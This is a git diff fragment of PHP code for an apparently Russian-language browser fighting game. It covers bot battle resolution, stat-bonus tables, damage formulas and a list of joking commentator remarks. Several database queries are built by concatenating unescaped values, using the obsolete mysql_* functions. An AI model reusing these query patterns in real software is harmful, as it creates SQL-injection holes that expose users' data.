+ } + } + + if(isset($enemies[0])) { + $enemy = $enemies[mt_rand(0, count($enemies)-1)]; + if($enemy > 0) { + return $enemy; + } + } else { + return false; + } + } else { + return false; + } + } + + function chancebymf($mf, $antimf, $min = 1, $max = 85, $mid = 10, $div = 250) { + if($mf <= $antimf) return 0; + $diff = 1-pow(0.5, abs($mf-$antimf)/$div); + if($mf > $antimf) { + return ($max-$mid)*$diff+$mid; + } else { + return ($mid-$min)*(1-$diff)+$min; + } + $min = $min/100; + $max = $max/100; + $diffup = (1/(1+(abs($mf-$antimf)/(($max-$mid)*100)))); + $diffdown = (1/(1+(abs($mf-$antimf)/(($mid-$min)*100)))); + $ret = $mid; + if($mf > $antimf) { + $ret = $ret*(2-$diff); + } else { + $ret = $ret*$diff; + } + if($ret < $min) { + $ret = $min; + } + if($ret > $max) { + $ret = $max; + } + return (int)round($ret*100); + } + + function check_bonus($uid) { + $us = mysql_fetch_array(mysql_query('SELECT `id`, `sila`, `lovk`, `inta`, `vinos` FROM `users` WHERE `id` = "'.mysql_real_escape_string($uid).'" LIMIT 1')); + $i_uminu = 0; + $i_fkrit = 0; + $i_fauvorot = 0; + $i_fakrit = 0; + $i_umaxu = 0; + + if($us['sila'] >= 25) { $sila['fauvorot'] = 10; $sila['fakrit'] = 10; $sila['uminu'] = 0; $sila['umaxu'] = 0; } + if($us['sila'] >= 50) { $sila['fauvorot'] = 20; $sila['fakrit'] = 25; $sila['uminu'] = 0; $sila['umaxu'] = 0; } + if($us['sila'] >= 75) { $sila['fauvorot'] = 30; $sila['fakrit'] = 40; $sila['uminu'] = 0; $sila['umaxu'] = 0; } + if($us['sila'] >= 100) { $sila['fauvorot'] = 40; $sila['fakrit'] = 50; $sila['uminu'] = 2; $sila['umaxu'] = 2; } + if($us['sila'] >= 125) { $sila['fauvorot'] = 60; $sila['fakrit'] = 75; $sila['uminu'] = 5; $sila['umaxu'] = 5; } + if($us['sila'] >= 150) { $sila['fauvorot'] = 90; $sila['fakrit'] = 110; $sila['uminu'] = 8; $sila['umaxu'] = 8; } + if($us['sila'] >= 175) { $sila['fauvorot'] = 120; $sila['fakrit'] = 150; $sila['uminu'] = 12; $sila['umaxu'] = 12; } + if($us['sila'] >= 200) { $sila['fauvorot'] = 150; $sila['fakrit'] = 200; $sila['uminu'] = 15; $sila['umaxu'] = 15; } + if($us['lovk'] >= 25) { $lovk['fuvorot'] = 10; $lovk['fauvorot'] = 10; $lovk['fakrit'] = 20; $lovk['uminu'] = 0; $lovk['umaxu'] = 0; } + if($us['lovk'] >= 50) { $lovk['fuvorot'] = 20; $lovk['fauvorot'] = 25; $lovk['fakrit'] = 40; $lovk['uminu'] = 0; $lovk['umaxu'] = 0; } + if($us['lovk'] >= 75) { $lovk['fuvorot'] = 30; $lovk['fauvorot'] = 30; $lovk['fakrit'] = 60; $lovk['uminu'] = 0; $lovk['umaxu'] = 0; } + if($us['lovk'] >= 100) { $lovk['fuvorot'] = 40; $lovk['fauvorot'] = 40; $lovk['fakrit'] = 75; $lovk['uminu'] = 5; $lovk['umaxu'] = 5; } + if($us['lovk'] >= 125) { $lovk['fuvorot'] = 40; $lovk['fauvorot'] = 70; $lovk['fakrit'] = 90; $lovk['uminu'] = 6; $lovk['umaxu'] = 6; } + if($us['lovk'] >= 150) { $lovk['fuvorot'] = 40; $lovk['fauvorot'] = 150; $lovk['fakrit'] = 120; $lovk['uminu'] = 8; $lovk['umaxu'] = 8; } + if($us['lovk'] >= 175) { $lovk['fuvorot'] = 40; $lovk['fauvorot'] = 200; $lovk['fakrit'] = 140; $lovk['uminu'] = 10; $lovk['umaxu'] = 10; } + if($us['lovk'] >= 200) { $lovk['fuvorot'] = 40; $lovk['fauvorot'] = 250; $lovk['fakrit'] = 160; $lovk['uminu'] = 15; $lovk['umaxu'] = 15; } + if($us['inta'] >= 25) { $inta['fkrit'] = 10; $inta['fauvorot'] = 10; $inta['fakrit'] = 15; $inta['uminu'] = 0; $inta['umaxu'] = 0; } + if($us['inta'] >= 50) { $inta['fkrit'] = 25; $inta['fauvorot'] = 25; $inta['fakrit'] = 25; $inta['uminu'] = 0; $inta['umaxu'] = 0; } + if($us['inta'] >= 75) { $inta['fkrit'] = 60; $inta['fauvorot'] = 30; $inta['fakrit'] = 30; $inta['uminu'] = 0; $inta['umaxu'] = 0; } + if($us['inta'] >= 100) { $inta['fkrit'] = 40; $inta['fauvorot'] = 40; $inta['fakrit'] = 75; $inta['uminu'] = 0; $inta['umaxu'] = 0; } + if($us['inta'] >= 125) { $inta['fkrit'] = 40; $inta['fauvorot'] = 50; $inta['fakrit'] = 100; $inta['uminu'] = 1; $inta['umaxu'] = 1; } + if($us['inta'] >= 150) { $inta['fkrit'] = 60; $inta['fauvorot'] = 40; $inta['fakrit'] = 130; $inta['uminu'] = 5; $inta['umaxu'] = 5; } + if($us['inta'] >= 175) { $inta['fkrit'] = 40; $inta['fauvorot'] = 80; $inta['fakrit'] = 170; $inta['uminu'] = 10; $inta['umaxu'] = 10; } + if($us['inta'] >= 200) { $inta['fkrit'] = 40; $inta['fauvorot'] = 120; $inta['fakrit'] = 200; $inta['uminu'] = 15; $inta['umaxu'] = 15; } + if($us['vinos'] >= 25) { $vinos['fkrit'] = 10; $vinos['fauvorot'] = 10; $vinos['fakrit'] = 15; $vinos['uminu'] = 0; $vinos['umaxu'] = 0; } + if($us['vinos'] >= 50) { $vinos['fkrit'] = 25; $vinos['fauvorot'] = 25; $vinos['fakrit'] = 25; $vinos['uminu'] = 0; $vinos['umaxu'] = 0; } + if($us['vinos'] >= 75) { $vinos['fkrit'] = 60; $vinos['fauvorot'] = 30; $vinos['fakrit'] = 30; $vinos['uminu'] = 0; $vinos['umaxu'] = 0; } + if($us['vinos'] >= 100) { $vinos['fkrit'] = 40; $vinos['fauvorot'] = 40; $vinos['fakrit'] = 75; $vinos['uminu'] = 0; $vinos['umaxu'] = 1; } + if($us['vinos'] >= 125) { $vinos['fkrit'] = 40; $vinos['fauvorot'] = 50; $vinos['fakrit'] = 100; $vinos['uminu'] = 1; $vinos['umaxu'] = 1; } + if($us['vinos'] >= 150) { $vinos['fkrit'] = 60; $vinos['fauvorot'] = 40; $vinos['fakrit'] = 130; $vinos['uminu'] = 5; $vinos['umaxu'] = 5; } + if($us['vinos'] >= 175) { $vinos['fkrit'] = 40; $vinos['fauvorot'] = 80; $vinos['fakrit'] = 170; $vinos['uminu'] = 10; $vinos['umaxu'] = 10; } + if($us['vinos'] >= 200) { $vinos['fkrit'] = 40; $vinos['fauvorot'] = 120; $vinos['fakrit'] = 200; $vinos['uminu'] = 15; $vinos['umaxu'] = 15; } + + if($us['vinos'] >= $us['sila'] && $us['vinos'] >= $us['lovk'] && $us['vinos'] >= $us['inta']) { + $i_uminu = $vinos['uminu']; + $i_fkrit = $vinos['fkrit']; + $i_fauvorot = $vinos['fauvorot']; + $i_fakrit = $vinos['fakrit']; + $i_umaxu = $vinos['umaxu']; + } + + if($us['inta'] >= $us['sila'] && $us['inta'] >= $us['lovk'] && $us['inta'] >= $us['vinos']) { + $i_uminu = $inta['uminu']; + $i_fkrit = $inta['fkrit']; + $i_fauvorot = $inta['fauvorot']; + $i_fakrit = $inta['fakrit']; + $i_umaxu = $inta['umaxu']; + } + + if($us['lovk'] >= $us['sila'] && $us['lovk'] >= $us['inta']&& $us['lovk'] >= $us['vinos']) { + $i_uminu = $lovk['uminu']; + $i_fkrit = $lovk['fkrit']; + $i_fauvorot = $lovk['fauvorot']; + $i_fakrit = $lovk['fakrit']; + $i_umaxu = $lovk['umaxu']; + } + + if($us['sila'] >= $us['lovk'] && $us['sila'] >= $us['inta'] && $us['sila'] >= $us['vinos']) { + $i_uminu = $sila['uminu']; + $i_fkrit = $sila['fkrit']; + $i_fauvorot = $sila['fauvorot']; + $i_fakrit = $sila['fakrit']; + $i_umaxu = $sila['umaxu']; + } + + return array('minu' => $i_uminu, 'maxu' => $i_umaxu, 'fkrit' => $i_fkrit, 'fauvorot' => $i_fauvorot, 'fakrit' => $i_fakrit); + } + + function solve_mfs($user_1, $user_2, $attack) { + $mfs = array(); + + $uid_1 = $this->get_info_by_id($user_1); + $uid_2 = $this->get_info_by_id($user_2); + + $b_u_1 = $this->check_bonus($uid_1['id']); + $b_u_2 = $this->check_bonus($uid_2['id']); + + $zo = mysql_fetch_row(mysql_query("SELECT `id` FROM `effects` WHERE `type` = 201 AND `owner` = '".$uid_1['id']."' LIMIT 1")); + $zo1 = mysql_fetch_row(mysql_query("SELECT `id` FROM `effects` WHERE `type` = 201 AND `owner` = '".$uid_2['id']."' LIMIT 1")); + $sokr = mysql_fetch_row(mysql_query("SELECT `id` FROM `effects` WHERE `type` = 202 AND `owner` = '".$uid_1['id']."' LIMIT 1")); + $sokr1 = mysql_fetch_row(mysql_query("SELECT `id` FROM `effects` WHERE `type` = 202 AND `owner` = '".$uid_2['id']."' LIMIT 1")); + + if($sokr[0] > 0) { $bmfud = 5; } else { $bmfud = 0; } + if($zo[0] > 0) { $bmfbron = 25; } else { $bmfbron = 0; } + if($sokr1[0] > 0) { $bmfud1 = 5; } else { $bmfud1 = 0; } + if($zo1[0] > 0) { $bmfbron1 = 25; } else { $bmfbron1 = 0; } + + if($user_2 > _BOTSEPARATOR_) { + $bots = mysql_fetch_array(mysql_query('SELECT `id`, `name`, `prototype`, `battle`, `hp` FROM `bots` WHERE `id` = "'.$user_2.'" LIMIT 1')); + $this->enemyhar = mysql_fetch_array(mysql_query('SELECT * FROM `users` WHERE `id` = "'.$bots['prototype'].'" LIMIT 1')); + $this->enemy_dress = mysql_fetch_array(mysql_query('SELECT SUM(`minu`), SUM(`maxu`), SUM(`mfkrit`), SUM(`mfakrit`), SUM(`mfuvorot`), SUM(`mfauvorot`), SUM(`bron1`), SUM(`bron2`), SUM(`bron3`), SUM(`bron4`) FROM `inventory` WHERE `dressed` = 1 AND `owner` = "'.$this->enemyhar['id'].'"')); + $this->enemyhar['hp'] = $bots['hp']; + } else { + $this->enemyhar = mysql_fetch_array(mysql_query('SELECT * FROM `users` WHERE `id` = "'.$uid_2['id'].'" LIMIT 1')); + $this->enemy_dress = mysql_fetch_array(mysql_query('SELECT SUM(`minu`), SUM(`maxu`), SUM(`mfkrit`), SUM(`mfakrit`), SUM(`mfuvorot`), SUM(`mfauvorot`), SUM(`bron1`), SUM(`bron2`), SUM(`bron3`), SUM(`bron4`) FROM `inventory` WHERE `dressed` = 1 AND `owner` = "'.$uid_2['id'].'"')); + } + + $this->user_dress = mysql_fetch_array(mysql_query('SELECT SUM(`minu`), SUM(`maxu`), SUM(`mfkrit`), SUM(`mfakrit`), SUM(`mfuvorot`), SUM(`mfauvorot`), SUM(`bron1`), SUM(`bron2`), SUM(`bron3`), SUM(`bron4`) FROM `inventory` WHERE `dressed` = 1 AND `owner` = "'.$uid_1['id'].'"')); + + $this->enemy_dress[6] += $bmfbron1; + $this->enemy_dress[7] += $bmfbron1; + $this->enemy_dress[8] += $bmfbron1; + $this->enemy_dress[9] += $bmfbron1; + $this->user_dress[6] += $bmfbron; + $this->user_dress[7] += $bmfbron; + $this->user_dress[8] += $bmfbron; + $this->user_dress[9] += $bmfbron; + + $mykrit = floor($this->user_dress[2]+($uid_1['inta']*2.95)+$b_u_1['fkrit']); + $heakrit = floor($this->enemy_dress[3]+($uid_2['inta']*2.75)+$b_u_2['fkrit']); + $myuvorot = floor($this->user_dress[4]+$uid_1['lovk']*5); #5 #3 + $heauvorot = floor($this->enemy_dress[5]+$uid_2['lovk']*4); #4 #7 #6 + $he_koef_armor = $this->enemy_dress[5+$attack]/50; + $mfs['me'] = array( + 'udars' => rand(floor($uid_1['sila']/3)+$b_u_1['minu']+1+$this->user_dress[0], floor($uid_1['sila']/3)+$b_u_1['maxu']+4+$this->user_dress[1]), + 'chanse' => $this->getmfs($myuvorot, $heauvorot), + 'chanse_krit' => $this->getmfs($mykrit, $heakrit) + ); + $mfs['me']['udar'] = $mfs['me']['udars']-($this->enemy_dress[5+$attack]*$he_koef_armor); + + $uron_vlad_me = 0; + switch($this->GetWeaponType($uid_1['weap'])) { + case "noj": $uron_vlad_me += $uid_1['noj']; break; + case "dubina": $uron_vlad_me += $uid_1['dubina']; break; + case "topor": $uron_vlad_me += $uid_1['topor']; break; + case "mech": $uron_vlad_me += $uid_1['mec']; break; + default : 0; break; + } + $mfs['me']['udar'] += $uron_vlad_me; + + if($bmfud > 5) { $mfs['me']['udar'] += $bmfud; } + if($mfs['me']['udar'] < 0) { $mfs['me']['udar'] = 0; } + if($bmfud <= 5) { $mfs['me']['udar'] += $bmfud; } + + + $mfs['me']['udar'] = round($mfs['me']['udar']); + if($mfs['me']['udar'] < 1) { $mfs['me']['udar'] = 1; } + + #$this->AddToLog('{Id = '.$uid_1['id'].'| No_Koef = '.$mfs['me']['udars'].'| Finish = '.$mfs['me']['udar'].'| Koef = '.$he_koef_armor.'| Armor = '.$this->enemy_dress[5+$attack].' | Um = '.$uron_vlad_me.'| Weap = '.$this->GetWeaponType($uid_1['weap']).'| Function = '.$mfs['me']['udars'].'-'.($this->enemy_dress[5+$attack]*$he_koef_armor).'| Min = '.(floor($uid_1['sila']/3)+$b_u_1['minu']+1+$this->user_dress[0]).'| Max = '.(floor($uid_1['sila']/3)+$b_u_1['maxu']+4+$this->user_dress[1]).'}
    '); + + $mykrits = floor($this->enemy_dress[2]+($uid_2['inta']*2.95)+$b_u_2['fkrit']); + $heakrits = floor($this->user_dress[3]+($uid_1['inta']*2.75)+$b_u_1['fkrit']); + $myuvorots = floor($this->enemy_dress[4]+$uid_2['lovk']*5); + $heauvorots = floor($this->user_dress[5]+$uid_1['lovk']*4); + $me_koef_armor = $this->user_dress[5+$this->battle[$user_2][$user_1][0]]/50; + + $mfs['he'] = array( + 'udars' => floor(rand(floor($uid_2['sila']/3)+$b_u_2['minu']+1+$this->enemy_dress[0], floor($uid_2['sila']/3)+$b_u_2['maxu']+4+$this->enemy_dress[1])), + 'chanse' => $this->getmfs($myuvorots, $heauvorots), + 'chanse_krit' => $this->getmfs($mykrits, $heakrits) + ); + $mfs['he']['udar'] = $mfs['he']['udars']-($this->user_dress[5+$this->battle[$user_2][$user_1][0]]*$me_koef_armor); + if($bmfud1 < 5) { $mfs['he']['udar'] += $bmfud1; } + if($mfs['he']['udar'] < 0) { $mfs['he']['udar'] = 0; } + if($bmfud1 >= 5) { $mfs['he']['udar'] += $bmfud1; } + + $uron_vlad_he = 0; + switch($this->GetWeaponType($uid_2['weap'])) { + case "noj": $uron_vlad_he += $uid_2['noj']; break; + case "dubina": $uron_vlad_he += $uid_2['dubina']; break; + case "topor": $uron_vlad_he += $uid_2['topor']; break; + case "mech": $uron_vlad_he += $uid_2['mec']; break; + } + $mfs['he']['udar'] += $uron_vlad_he; + + #$this->AddToLog('{ Id = '.$uid_2['id'].'| URON_not_koef = '.$mfs['he']['udars'].'| Uron_finish = '.$mfs['he']['udar'].'| Koef_arm = '.$me_koef_armor.'| Armor = '.$this->user_dress[5+$this->battle[$user_2][$user_1][0]].' | Um = '.$uron_vlad_he.'| Weap = '.$this->GetWeaponType($uid_2['weap']).' }
    '); + + $mfs['he']['udar'] = round($mfs['he']['udar']); + if($mfs['he']['udar'] < 1) { $mfs['he']['udar'] = 1; } + + return $mfs; + } + + function makechange($u1, $u2, $at_1, $at_2, $def_1, $def_2) { + $this->init_botRazmen($u1, $u2, $at_1, $def_1); + } + + function UpdateBattle () { + return mysql_query("UPDATE `battle` SET `exp` = '".serialize($this->exp)."', `teams` = '".serialize($this->battle)."', `damage` = '".serialize($this->damage)."' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + } + + function GetComment() { + $boycom = array('А танцуешь ты лучше.','А мы что, в прятки тут играем?','А вы разве пингвинов никогда не видели?','А, ведь когда-то, вы были красивыми… А теперь? Ну и рожи! Жуть!','А потом еще труп пинать будут.','А я вчера ночью за соседями подглядывал. Они точно так же кувыркались','А ведь вы живых людей дубасите...','А вот я вчера в зоопарке был...','А вы в стройбате не служили?','А вы видели, чтобы так на улице делали!?','А вы знали что ёжики размножаются в интернете?','А жить-то, как хочется:','А из-за чего вы собственно дерётесь?','А чего ржёте, вы ещё остальных не видели','А что произойдёт если ты испугаешся до полусмерти дважды?!','Больше так не делай. Ты же не садист?','Без комментариев...','Больно ведь!','Быстро ты за монитор спрятался!','Все хотят попасть в рай, но никто не хочет умирать!','Вчера с такой девчонкой познакомился.','Всего 5 минут знакомы, а дерутся, словно супруги с 20-ти летним стажем...','Все. Я так больше не могу.','В конце концов, кто-то победит?','Вы чего, с дерева упали?','Возятся как сонные мухи... давайте я вам лучше анекдот расскажу: ...','Вот видишь, как полезно чистить зубы на ночь?','Вот вы все руками махаете, а за вами уже очередь','Вот попадёте вы в плен и вас там будут долго бить. Но вы ничего не расскажете... и не потому, что вы такой стойкий, просто вы ничего не знаете','Вы бы лучше пошли потренировались!','Вы все еще разминаетесь? Позовите, когда кости в муку друг другу разминать будете.','Вы же бойцы! Имейте совесть!','Гаси недоумка!','Да, если бы я смог это остановить, то получил бы нобелевскую премию `За мир` ','Да куда они бьют?!','Давайте быстрее! За вами уже очередь образовалась.','Давайте обойдемся сегодня таймаутом. А? А то мне уже кошмары скоро будут сниться.','Дерутся как девчонки!','Дети, посмотрите налево... Ой!.. Нет, туда лучше не смотреть.','Если так будет продолжаться, то скоро мы заснем!','Если бы у меня было кресло-качалка, я бы в нём качался...','Если вы что-то сказать хотите, то лучше молчите :)','Жестокость не порок.','Жизнь вне нашего клуба - это пустая трата кислорода!!!','Жми! Дави! Кусай! Царапай!','За такие бои надо в хаос отправлять!','Знаете откуда в комиссионном магазине столько вещей? Это я после ваших гулянок собираю и сдаю туда. Иногда вместе с частями тела, застрявшими в них.','Здесь люди так близки друг к другу. Просто иначе ударить нельзя.','И пролитая кровь еще пульсирует...','Инвалидов развелось...','Какой бой!!!','Кто!? Кто здесь?!','Кто вас этому научил?','Кузнечик, блин...','Куплю импортный проигрыватель грампластинок.','Лошадью ходи!','Лучше враг, чем друг - враг.','Ладно, вы тут пока друг друга за волосы таскайте, а я пойду, пообедаю.','Мне ваш балет уже надоел!','Может, начнется-таки настоящий бой???','Мысли лезут в голову изнутри, а удары снаружи.','Ну и где ваши коронные удары? Где живописные падения я спрашиваю!','Ну, нельзя же так наотмашь лупить!','Надо раньше было думать, теперь смертельно поздно...','На такое зрелище билеты продавать можно. Народ ухохочется!','Нет! Не надо драки! А... ладно деритесь, все равно не умеете.','Нет, ну должен быть повод, должен же быть повод?','Нет, я отказываюсь это комментировать!','Не таких обламывали!','Ну выпили вы рюмку, ну две... ну литр, ну два... так зачем же после этого драку затевать?!','Ну и кто за этот погром платить будет?','Ну и оскал у вас. Из вашей улыбки кастеты делать можно.','Ну, что же ты..? Не печалься. Выше голову, так по ней удобней попасть.','Ничего... Блок тоже удар.','Обернись!!!.... Поздно...','Ого! Научите меня так не делать.','Осторожно! Сделаешь дырочку, уже не запломбируешь!','Оно вам надо???','Обычное дело...там что-то отклеилось.','Ой, и заболтался я с вами...','Он же не промахнётся если ты не отойдёшь!','По-моему, кому-то светит инвалидность.','Подкинь ему грабли, на которые он еще не наступал.','Прав был кот Леопольд, давайте жить дружно?','При ударе в живот нарушается кислотно-щелочной баланс.','Проверь, не торчит ли у тебя нож из живота.','Перестаньте мне орать!','Подкинь ему грабли, на которые он еще не наступал.','Прыгают тут как блохи... Все, я пошел за дихлофосом!','Разбудите меня когда эта порнография закончится...','Ребенок сильнее ударил бы!','Славно вмазал!','Славно они веселятся','Смотрю вот на вас, и слезы наворачиваются.','Сначала учатся ходить, а потом только в драку лезут.','Так они друг другу что-нибудь сломают.','Так ты ему все кости переломаешь!','У меня в подъезде точно так же соседа отмудохали','Убогих развелось...','Ух ты, какой прыткий!','Фашист!! Надо ж, так по больному месту врезать...','Хватит бить его об угол моей кабинки! Мне же потом ее чинить.','Хулиганы, прекратите немедленно!','Хочешь, подскажу, куда он ударит?','Хорошо, что у меня ловкости больше чем у вас всех, а то б вы и меня в инвалидную коляску посадили бы.','Хороший бой!','Хороший удар!','Хиляк-разрядник!','Что ты его за волосы схватил?! Отпусти немедленно!','Щас я вас настигну, вот тогда мы и похохочем','Это была какая-то неизвестная мне техника...','Это же противник, а не глина! Хватит мяться!','Это не бой, это издевательское избиение.','Это поубавит спеси','Это и был твой план `Б` ?','Это была какая-то неизвестная мне техника...','Я же предупреждал, - будет больно.','Я не страдаю безумием. Я наслаждаюсь им каждую минуту :)','Я красивый, я сильный, я умный, я добрый. А вот вы? Вы себя-то видели?!','Я тоже умею драться, но не буду...','(тревожно озираясь) я вам по секрету скажу... за вами наблюдают!','<вырезано цензурой> после боя я этих <вырезано цензурой> обоих в <вырезано цензурой> и <вырезано цензурой>','<вырезано цензурой> каратисты фиговы', '<вырезано цензурой> <вырезано цензурой>,<вырезано цензурой> на <вырезано цензурой> <вырезано цензурой> <вырезано цензурой>! Нет, это уже слишком!'); + if(mt_rand(0, 4) == 1) { + return ''.date("H:i").' Комментатор: '.$boycom[mt_rand(0, count($boycom)-1)].'
    '; + } else { + return false; + } + } + + function GetTimeout() { + if($this->battle) { + if($this->my_class == 'B1') { + if($this->to2 <= $this->to1) { + return ((time()-$this->to2) > $this->battle_data['timeout']*60); + } else { + return false; + } + } else { + if($this->to2 >= $this->to1) { + return ((time()-$this->to1) > $this->battle_data['timeout']*60); + } else { + return false; + } + } + } + } + + function AddToLog($text) { + $this->log .= $text; + } + + function AddToLogBot($text) { + if($this->log != $text) { + $this->log .= $text; + } + } + + function write_log() { + if($this->log) { + $this->log = $this->log."
    "; + } + addlogs($this->battle_data['id'], $this->log); + $this->log = ''; + } + +} + +$r = mysql_query("SELECT `id`, `win` FROM `battle` WHERE `win` = 3"); + +while($rec = mysql_fetch_array($r)) { + $fbattle = new fbattle($rec['id']); + if($fbattle->battle_data['needbb']) { + foreach($fbattle->battle as $k => $v) { + if($k > _BOTSEPARATOR_) { + foreach($v as $k2 => $v2) { + if($k2 < _BOTSEPARATOR_) continue; + $hp_1 = mysql_fetch_array(mysql_query('SELECT `hp` FROM `bots` WHERE `id` = "'.$k.'" LIMIT 1')); + $hp_2 = mysql_fetch_array(mysql_query('SELECT `hp` FROM `bots` WHERE `id` = "'.$k2.'" LIMIT 1')); + if($fbattle->battle[$k][$k2][0] && $fbattle->battle[$k2][$k][0] && $hp_1['hp'] > 0 && $hp_2['hp'] > 0) { + $at_1 = $fbattle->battle[$k][$k2][0]; + $def_1 = $fbattle->battle[$k][$k2][1]; + $at_2 = $fbattle->battle[$k2][$k][0]; + $def_2 = $fbattle->battle[$k2][$k][1]; + $fbattle->makechange($k, $k2, $at_1, $at_2, $def_1, $def_2); + $fbattle->write_log(); + $fbattle->battle[$k][$k2] = array(0, 0, time()); + $fbattle->battle[$k2][$k] = array(0, 0, time()); + $fbattle->needupdate = 1; + $fbattle->battle_end(); + } + } + } + } + if($fbattle->needupdate) { + $fbattle->UpdateBattle(); + } + echo 'Bb id = |'.$rec['id'].'|'; + } else { + echo '{No bb Id = |'.$rec['id'].'|}'; + } +} diff --git a/cron_bots_battle.php b/cron_bots_battle.php new file mode 100644 index 0000000..7b0dca9 --- /dev/null +++ b/cron_bots_battle.php @@ -0,0 +1,1542 @@ +user = $user; + + if($battle_id > 0) { + $this->status = 1; + $this->battle_data = mysql_fetch_array(mysql_query("SELECT `id`, `coment`, `teams`, `timeout`, `razmen_time`, `type`, `status`, `t1`, `t2`, `date`, `time_m`, `win`, `damage`, `to1`, `to2`, `exp`, `blood`, `t1hist`, `t2hist`, `magic`, `open`, `close`, `protivnik`, `protivnik_type`, `dungeon_bot`, `dn_id`, `aren_of`, `needbb`, `clone`, `fiz` FROM `battle` WHERE `id` = '{$battle_id}' LIMIT 1")); + $this->GetUserTeam(); + $this->damage = unserialize($this->battle_data['damage']); + $this->magic = unserialize($this->battle_data['magic']); + $this->battle = unserialize($this->battle_data['teams']); + $this->exp = unserialize($this->battle_data['exp']); + $this->to1 = $this->battle_data['to1']; + $this->to2 = $this->battle_data['to2']; + + ####################### + $bit1 = 0; $bit2 = 0; + foreach($this->battle as $k => $v) { + if($k < _BOTSEPARATOR_) continue; + $bot['id'] = $k; + if(in_array($k, $this->t1)) { + if(count($v) < count($this->t2)) { + foreach($this->t2 as $k2 => $v2) { + $this->battle[$k][$v2] = array(0, 0, time()); + } + } + $bit1 = 1; + } + if(in_array($k, $this->t2)) { + if(count($v) < count($this->t1)) { + foreach($this->t1 as $k2 => $v2) { + $this->battle[$k][$v2] = array(0, 0, time()); + } + } + $bit2 = 1; + } + foreach($this->battle[$bot['id']] as $k => $v) { + if($this->battle[$bot['id']][$k][0] == 0) { + $this->battle[$bot['id']][$k] = array(rand(2, 3), rand(2, 3), time()); + if($this->battle[$k][$bot['id']][0] != 0 && $k < _BOTSEPARATOR_) { + $this->battle[$k][$bot['id']] = array(0, 0, time()); + } + if($k > _BOTSEPARATOR_) { + $this->needupdate = 1; + } + } + if($this->battle[$k][$bot['id']][0] == 0 && $k < _BOTSEPARATOR_) { + if(in_array($user['id'], array_keys($this->battle[$bot['id']]))) { + if($this->my_class == 'B2') { + if($this->to2 <= $this->to1) { + $endr = ((time()-$this->to2) > $this->battle_data['timeout']*60); + } + } else { + if($this->to2 >= $this->to1) { + $endr = ((time()-$this->to1) > $this->battle_data['timeout']*60); + } + } + } + } + if($endr && !$uje && 0) { + if($user['caveleader'] > 0) { + $this->needrefresh = 1; + } + $this->needupdate = 1; + $this->needrefresh = 1; + $uje = true; + $this->AddToLog("".date("H:i")." Бой закончен по таймауту.
    "); + foreach($this->battle[$bot['id']] as $k => $v) { + if($k > _BOTSEPARATOR_) { + $bots = mysql_fetch_array(mysql_query('SELECT `hp`, `prototype` FROM `bots` WHERE `id` = "'.$k.'" LIMIT 1')); + $us['hp'] = $bots['hp']; + $b = mysql_fetch_array(mysql_query('SELECT `id`, `level` FROM `users` WHERE `id` = "'.$bots['prototype'].'" LIMIT 1')); + $us['level'] = $b['level']; + } else { + $us = mysql_fetch_array(mysql_query('SELECT `hp`, `level` FROM `users` WHERE `id` = "'.$k.'" LIMIT 1')); + } + if($us && (int)$us['hp'] > 0 && $us['level'] > 6) { + $tr = settravma($k, 0, 86400, 1); + if($k < _BOTSEPARATOR_ && $tr) { + $this->AddToLog(''.date("H:i").' '.nick7($k).' получил повреждение: '.$tr.'
    '); + } + } + } + foreach($this->battle[$bot['id']] as $k => $v) { + $this->user[$k]['hp'] = 0; + mysql_query('UPDATE `users` SET `hp` = 0, `fullhptime` = '.time().' WHERE `id` = "'.$k.'"'); + } + } + } + } + $bb = ($bit1+$bit2); + if($this->battle_data['needbb'] != $bb) { + mysql_query("UPDATE `battle` SET `needbb` = '$bb' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + } + + ####################### + + if($_POST['enemy'] > 0 && (int)$_POST['attack'] > 0 && (int)$_POST['defend'] > 0) { + $this->InitRazmen($_POST['enemy'], $_POST['attack'], $_POST['defend']); + $this->magic[$user['id']] = 0; + mysql_query("UPDATE `battle` SET `magic` = '".serialize($this->magic)."' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + header("Location: fbattle.php"); + } else { + $this->GetUserTeam(); + $this->FastDeath(); + $this->enemy = $this->SelectEnemy(); + if($this->enemy) { + $this->return = 1; + } else { + if($this->GetTimeout() && (int)$this->user['hp'] > 0 && !$_POST['victory_time_out2']) { + $this->return = 3; + } else { + $this->magic[$user['id']] = 0; + mysql_query("UPDATE `battle` SET `magic` = '".serialize($this->magic)."' WHERE `id` = '{$this->battle_data['id']}' LIMIT 1"); + $this->return = 2; + } + } + } + + if($_POST['victory_time_out2']) { + $this->end_draft(); + } + + if($_POST['victory_time_out']) { + $this->end_gora(); + } + + if($this->battle_end()) { + $this->return = 2; + } + + $this->write_log(); + return $this->return; + } else { + $this->status = 0; + } + } + + function getmfs($mf, $antimf) { + $vsh = 5 + (($mf - $antimf) / 3); + if($vsh <= 0) { + $final = 0; + } else { + $final = 70 + ($vsh / 100); + } + return $final; + } + + function chanse($p) { + if($p > mt_rand(1, 100)) { + return true; + } else { + return false; + } + } + + function get_info_by_id($id) { + $valid_login = mysql_query('SELECT `id`, `login`, `align`, `level`, `sila`, `lovk`, `inta`, `vinos`, `intel`, `maxhp`, `weap`, `noj`, `dubina`, `topor`, `mec`, `ubron1`, `ubron2`, `ubron3`, `ubron4`, `bot` FROM `users` WHERE `id` = "'.$id.'" AND `bot` = 0 LIMIT 1'); + if(mysql_num_rows($valid_login) == 1) { + $user_info = mysql_fetch_array($valid_login); + } else { + $prototype = mysql_fetch_array(mysql_query('SELECT `id`, `name`, `prototype`, `battle`, `hp` FROM `bots` WHERE `id` = "'.$id.'" LIMIT 1')); + $user_info = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `align`, `level`, `sila`, `lovk`, `inta`, `vinos`, `intel`, `maxhp`, `weap`, `noj`, `dubina`, `topor`, `mec`, `ubron1`, `ubron2`, `ubron3`, `ubron4`, `bot` FROM `users` WHERE `id` = "'.$prototype['prototype'].'" LIMIT 1')); + } + return $user_info; + } + + function get_wep_type($idwep) { + if($idwep == 0 || $idwep == null || $idwep == '') { + return "kulak"; + } + $wep = mysql_fetch_array(mysql_query('SELECT `otdel`, `minu` FROM `inventory` WHERE `id` = "'.$idwep.'" LIMIT 1')); + if($wep[0] == '1') { + return "noj"; + } elseif($wep[0] == '12') { + return "dubina"; + } elseif($wep[0] == '11') { + return "topor"; + } elseif($wep[0] == '13') { + return "mech"; + } elseif($wep[0] == '52') { + return "posoh"; + } elseif($wep[1] > 0) { + return "buket"; + } else { + return "kulak"; + } + } + + function get_chanse($persent) { 